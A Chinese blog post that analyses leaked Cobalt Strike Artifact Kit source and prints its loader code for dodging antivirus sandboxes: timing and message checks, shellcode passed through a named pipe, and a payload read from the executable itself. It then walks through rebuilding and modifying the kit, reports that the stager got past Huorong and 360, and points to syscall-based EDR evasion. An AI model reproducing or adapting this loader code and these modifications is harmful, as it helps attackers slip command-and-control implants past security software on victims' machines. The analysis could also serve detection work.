从Artifact Kit 看 Cobalt Strike的免杀思路

  • A+
所属分类:安全文章

前段时间从vt下载到了一份源码,据说是cs的beacon源码,但研究以后发现实际上是泄露的Artifact Kit组件的源码。虽然当前Cobalt Strike使用Artifact Kit生成的Artifact几乎被所有主流杀软查杀,但是可以从通过分析源码中,我们可以学到Cobalt Strike生成artifact的原理和一些免杀思路。

Artifact Kit 介绍

Artifact Kit 是Cobalt Strike使用的免杀组件,Artifact Kit 是一个制作免杀 EXE、DLL 和 Service EXE 的源代码框架,平时直接在Cobalt Strike中生成的stager都是使用了Artifact Kit生成的。其中一种技术[参见:Artifact Kit 中的 src-common/bypass-pipe.c]生成可执行文件和 DLL,它们通过命名管道为自己提供 shellcode。如果防病毒沙箱不能模拟命名管道,它将找不到已知的恶意 shellcode。

Cobalt Strike在以下地方使用Artifact Kit:

  • Attacks -> Packages -> Windows Executable
  • Attacks -> Packages -> Windows Executable (S)
  • Attacks -> Web Drive-by -> Scripted Web Delivery (bitsadmin and exe)
  • Beacon's 'elevate svc-exe' command
  • Beacon's 'jump psexec' and 'jump psexec64' commands

Artifact Kit 文件功能

在 Cobalt Strike 的 Help --> Arsenal 处可下载 Artifact Kit。但是需要License Key才能下载,正好手里有从vt上泄露的源码,首先看下目录:

从Artifact Kit 看 Cobalt Strike的免杀思路


  • src-common:目录下存放着Artifact Kit的源码。
  • src-main:存放着编译dll用的源码。
  • README.txt:里面是介绍和使用方法。
  • build.sh:里面是交叉编译的生成二进制命令,在Linux 系统上运行此脚本,使用mingw-w64来为Windows 交叉编译器构建默认的Artifact工具集。
  • script.example:是默认的cna脚本。
  • dist-peek:存放二进制文件,对应使用GetTickCount检查时间的方式对抗沙箱。
  • dist-pipe:存放二进制文件,使用管道读取的方式对抗沙箱,Cobalt Strike默认使用这种方法生成artifact。
  • dist-readfile:存放二进制文件,打开当前文件进行读取。跳到shellcode的存储位置,读取并执行。
  • dist-template:存放二进制文件,模板文件,直接内存加载shellcode,没有使用免杀技术。

Artifact Kit 源码分析

bypass-peek.c

代码如下,可以看到代码使用了两次GetTickCount(),中间有Sleep(650),然后计算时间是否正确,主要通过这种方式来对抗沙盒的调试。

#include <windows.h>
#include <stdio.h>
#include "patch.h"

void start(HINSTANCE mhandle) {
 phear * payload = (phear *)data;
 char * buffer;

 /* post and retrieve a message... to see if we're in an A/V sandbox or not. */
 MSG msg;
 DWORD tc;
 PostThreadMessage(GetCurrentThreadId(), WM_USER + 2, 23, 42);
 if (!PeekMessage(&msg, (HWND)-1, 0, 0, 0))
  return;

 if (msg.message != WM_USER+2 || msg.wParam != 23 || msg.lParam != 42)
  return;

 /* check timing of A/V sandbox... */
 tc = GetTickCount();
 Sleep(650);

 if (((GetTickCount() - tc) / 300) != 2)
  return;

 /* copy our payload into its own buffer... necessary b/c spawn modifies it */
 buffer = (char *)malloc(payload->length);
 memcpy(buffer, payload->payload, payload->length);

 /* execute our payload */
 spawn(buffer, payload->length, payload->key);

 /* clean up after ourselves */
 free(buffer);
}

bypass-pipe.c

Cobalt Strike默认的生成方式,使用了命名管道读取方法,管道格式为"%c%c%c%c%c%c%c%c%cMSSE-%d-server",使用ReadFile读取shellcode然后解密加载。

void server(char * data, int length) {
 DWORD  wrote = 0;
 HANDLE pipe = CreateNamedPipeA(pipename, PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE, 1, 0, 0, 0, NULL);

 if (pipe == NULL || pipe == INVALID_HANDLE_VALUE)
  return;

 BOOL result = ConnectNamedPipe(pipe, NULL);
 if (!result)
  return;

 while (length > 0) {
  result = WriteFile(pipe, data, length, &wrote, NULL);
  if (!result)
   break;

  data   += wrote;
  length -= wrote;
 }
 CloseHandle(pipe);
}

BOOL client(char * buffer, int length) {
 DWORD  read = 0;
 HANDLE pipe = CreateFileA(pipename, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

 if (pipe == INVALID_HANDLE_VALUE)
         return FALSE;

 while (length > 0) {
  BOOL result = ReadFile(pipe, buffer, length, &read, NULL);
  if (!result)
   break;

  buffer += read;
  length -= read;
 }

 CloseHandle(pipe);
 return TRUE;
}

bypass-readfile.c

通过打开自身读取shellcode的方式,绕过杀软。

void start(HINSTANCE mhandle) {
 phear * payload = (phear *)data;

 /* get the name of this file */
 char * name = (char *)malloc(sizeof(char) * 2048);
 GetModuleFileName(mhandle, name, sizeof(char) * 2048);

 /* read in the file and seek to a particular point */
 FILE * handle = fopen(name, "rb");

 /* seek to the place in the file where our data begins */
 fpos_t offset = (fpos_t)payload->offset;
 fsetpos(handle, &offset);

 /* retrieve and decode the payload 1 byte at a time. */
 char * buffer = (char *)malloc(payload->length);
 int read = fread((void *)buffer, sizeof(char), payload->length, handle);
 fclose(handle);

 /* complete the rest of the silly payload */
 int x;
 for (x = read; x < payload->length; x++) {
  buffer[x] = payload->payload[x];
 }

 /* spawn our thread with the goodies */
 spawn(buffer, payload->length, payload->key);
}

Artifact Kit 使用

我是在ubuntu 上做的测试,首先安装mingw-w64

sudo apt-get install mingw-w64

然后运行build.sh,等待编译完成,

从Artifact Kit 看 Cobalt Strike的免杀思路


把生成好的文件夹拷贝出来一份,打开 Cobalt Strike → Script Manager (脚本管理器),并从文件夹中加载 artifact.cna 脚本,以dist-peek举例:

从Artifact Kit 看 Cobalt Strike的免杀思路


然后生成artifact,此时artifact就是以刚才linux编译出的二进制模板和shellcode组合成的:

从Artifact Kit 看 Cobalt Strike的免杀思路

当然如果使用原生的Artifact Kit,肯定会被杀的很惨,我们需要在原有的代码基础上进行修改。

Artifact Kit 修改

第一种方法,README.txt里面提供了添加新方法的方式:

  1. 在src-common中创建一个文件,将其命名为bypass-[your technique here].c
  2. 打开build.sh并在底部为你添加的bypass方式添加一行
  3. 然后用build.sh编译

这样就可以为Cobalt Strike添加新的Artifact生成方法用于绕过杀软。

另一种方法,使用VS编译的方式添加新功能,先创建一个新的项目,功能以bypass-peek.c为例,目录如下图:

从Artifact Kit 看 Cobalt Strike的免杀思路


这时还有些需要修改的地方,bypass-peek.c中start函数改为main函数,然后DATA_SIZE没有被定义,按照build.sh中的32-bit staged artifact生成方法,DATA_SIZE为1024,直接宏定义到patch.h里。

从Artifact Kit 看 Cobalt Strike的免杀思路


然后需要修改的地方是patch.c的第25,26行,遇到了Error E0852 - expression must be a pointer to a complete object type,把 set_key_pointers(void * buffer) 改为 set_key_pointers(char * buffer) 即可。

把patch.c的67行处,添加WaitForSingleObject,目的是为了让主进程等待线程执行完毕,不然程序会直接退出:

 /* spawn a thread with our data */
HANDLE handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&run,ptr, 0, NULL);
WaitForSingleObject(handle, INFINITE);

最后去掉控制台窗口,有两种方法:

  1. 在代码中添加链接指示:
#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" )
  1. 或者在项目属性中配置:
属性--链接器--子系统--subsystem:windows
高级--入口点--mainCRTStartup

把生成的文件和原来的artifact32.exe做替换,然后在CS中生成32-bit staged artifact

从Artifact Kit 看 Cobalt Strike的免杀思路


没有做任何其他功能修改,只是用VS生成的x86 artifact文件正常上线,绕过了火绒和360:

从Artifact Kit 看 Cobalt Strike的免杀思路


也可以配合Syswhispers 工具以系统调用的方式绕过AV/EDR检测,参考下面这篇文章:

https://br-sn.github.io/Implementing-Syscalls-In-The-CobaltStrike-Artifact-Kit/


欢迎加入知识星球交流,一起学习,共同进步。


号外

宽字节安全团队第一期线下网络安全就业班7月1日开班了,由宽字节安全团队独立运营,一线红队大佬带队,有丰富的漏洞研究、渗透测试、应急响应的经验与沉淀,干货多多,欢迎添加客服咨询。最后两天,过了这个村就没这个店了!!!想上车的小伙伴抓紧时间上车!!!


点击查看详情


客服微信:unicodesec


从Artifact Kit 看 Cobalt Strike的免杀思路


本文始发于微信公众号(宽字节安全):从Artifact Kit 看 Cobalt Strike的免杀思路

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: